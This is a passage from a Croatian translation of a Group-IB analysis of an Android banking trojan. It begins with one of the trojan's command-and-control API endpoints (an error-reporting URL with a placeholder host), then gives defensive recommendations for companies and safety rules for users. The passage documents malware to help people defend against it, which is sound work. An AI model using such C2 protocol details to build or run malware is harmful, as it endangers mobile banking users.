  • http://<%CnC%>/api/v1/set_error.php – obavijest o nastaloj pogrešci.

Preporuke

Kako bi zaštitile svoje klijente od prijetnji mobilnih trojanaca, tvrtke moraju koristiti sveobuhvatna rješenja koja im omogućuju praćenje i sprječavanje zlonamjernih aktivnosti bez instaliranja dodatnog softvera na korisničke uređaje.

Kako bi se to postiglo, metode potpisa za otkrivanje mobilnih trojanaca moraju biti ojačane tehnologijama za analizu ponašanja i klijenta i same aplikacije. Zaštita bi također trebala uključivati ​​funkciju identifikacije uređaja pomoću tehnologije digitalnog otiska prsta, koja će omogućiti razumijevanje kada se račun koristi s netipičnog uređaja i već je pao u ruke prevaranta.

Temeljno važna točka je dostupnost međukanalne analize, koja tvrtkama omogućuje kontrolu rizika koji nastaju ne samo na internetu, već i na mobilnom kanalu, na primjer, u aplikacijama za mobilno bankarstvo, za transakcije s kriptovalutama i bilo koje druge gdje transakcije se mogu provoditi financijska transakcija.

Sigurnosna pravila za korisnike:

  • nemojte instalirati aplikacije za mobilni uređaj s Android OS-om iz bilo kojeg izvora osim Google Playa, obratite posebnu pozornost na prava koja aplikacija traži;
  • redovito instalirajte ažuriranja OS-a Android;
  • obratite pozornost na ekstenzije preuzetih datoteka;
  • ne posjećujte sumnjive izvore;
  • Nemojte klikati na linkove primljene u SMS porukama.

Glumi Semjona Rogačeva, mlađi specijalist za istraživanje zlonamjernog softvera u Group-IB Computer Forensics Laboratory.

Izvor: www.habr.com

Dodajte komentar